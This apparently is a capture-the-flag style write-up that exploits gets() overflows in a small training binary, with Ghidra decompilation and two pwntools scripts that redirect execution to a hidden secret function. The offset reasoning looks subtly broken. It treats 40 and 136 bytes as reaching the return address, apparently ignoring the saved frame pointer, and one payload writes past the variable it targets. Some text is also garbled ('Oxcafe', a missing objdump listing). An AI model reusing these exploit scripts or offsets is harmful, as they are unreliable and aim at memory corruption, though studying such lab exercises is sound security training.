Reverse-Engineering Buffer-Overflow

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Main Idea

The main goal of this challenge is to execute the hidden secret function. This can be done by **overwriting the return address** on the stack with the address of secret, causing the program to jump to it when it returns.

Binary Analysis

From Ghidra, the main function looks like this:

```
undefined8 main(void)
{
  char local_28[28];
  int local_c;

  setbuf(stdout, NULL);
  setbuf(stderr, NULL);
  setbuf(stdin, NULL);
  local_c = 0;
  puts("Hi,_Please_enter_your_name:_");
  gets(local_28);
  if (local_c == 0xcafe) {
    helloUser(local_28);
  }
  return 0;
}
```

There is a vulnerable gets() call, followed by a conditional check on local_c, which is placed immediately after the buffer on the stack.

helloUser Function

helloUser() also contains a gets() call with a 128-byte buffer, which can be used for further overflow:

```
void helloUser(undefined8 param_1)
{
  char local_88[128];

  printf("Nice_to_meet_you_%s!\n", param_1);
  puts("Tell_me_about_yourself_;;)");
  gets(local_88);
  puts("It_was_a_pleasure_meeting_you.");
}
```

Symbol Info

We locate the address of the secret function using objdump:

Payload 1 – Overwrite local_c and then Ret to secret

First, we overflow the buffer to overwrite local_c with Oxcafe, so the program enters helloUser. Then, we overflow the buffer inside helloUser to overwrite its return address with the address of secret.

```
from pwn import *

context.binary = './exercise1'
p = process('./exercise1')

secret_addr = 0x401186

# Step 1: Trigger helloUser
payload1 = b"A" * 28 + p64(0xcafe)
p.sendline(payload1)

# Step 2: Overflow return address inside helloUser
payload2 = b"B" * 136 + p64(secret_addr)
p.sendline(payload2)

p.interactive()
```

Payload 2 – Direct Return Address Overwrite from main

In this simpler variant, we directly overflow the stack in main to overwrite its return address with the address of secret:

```
from pwn import *

context.binary = './exercise1'
p = process('./exercise1')

secret_addr = 0x401186

payload = b"A" * 40 + p64(secret_addr)
p.sendline(payload)

p.interactive()
```

Offset Calculation

To successfully construct the payloads, we need to determine the number of bytes to write before reaching the target locations in memory (such as a local variable or return address). These offsets were calculated using information from Ghidra.

Payload 1 (Two-stage)

In the main() function, we want to overwrite the variable local_c in order to pass the condition if (local_c == 0xcafe). Ghidra shows the following stack offsets:

- local_28 is located at rbp 0x28
- local_c is located at rbp 0xc

To reach and overwrite local_c, we calculate:

$$0x28 - 0xc = 0x1C = 28$$
 bytes

So we write 28 bytes of junk to fill the buffer, then 4 bytes to overwrite local_c with Oxcafe.

In the helloUser() function, Ghidra shows:

• local_88 is located at rbp - 0x88

To overwrite the return address, we must fill the 136 bytes (0x88 in decimal), followed by the 8-byte return address. Therefore, the payload consists of 136 junk bytes followed by the address of the secret function.

Payload 2 (Direct)

This method skips helloUser() and directly overflows the buffer in main() to reach the return address. From Ghidra:

• local_28 is at rbp - 0x28

Assuming no other local variables between the buffer and return address (or minimal padding), the offset to the return address is:

$$0x28 = 40$$
 bytes

So we send 40 bytes of padding followed by the address of the secret function.

Conclusion

Both payloads achieve code execution of the hidden secret function:

- The first uses two-stage control: set local_c and overflow inside helloUser.
- The second jumps directly from main by overwriting the return address.

This illustrates how vulnerable <code>gets()</code> and poor stack protection lead to classic buffer overflow exploits.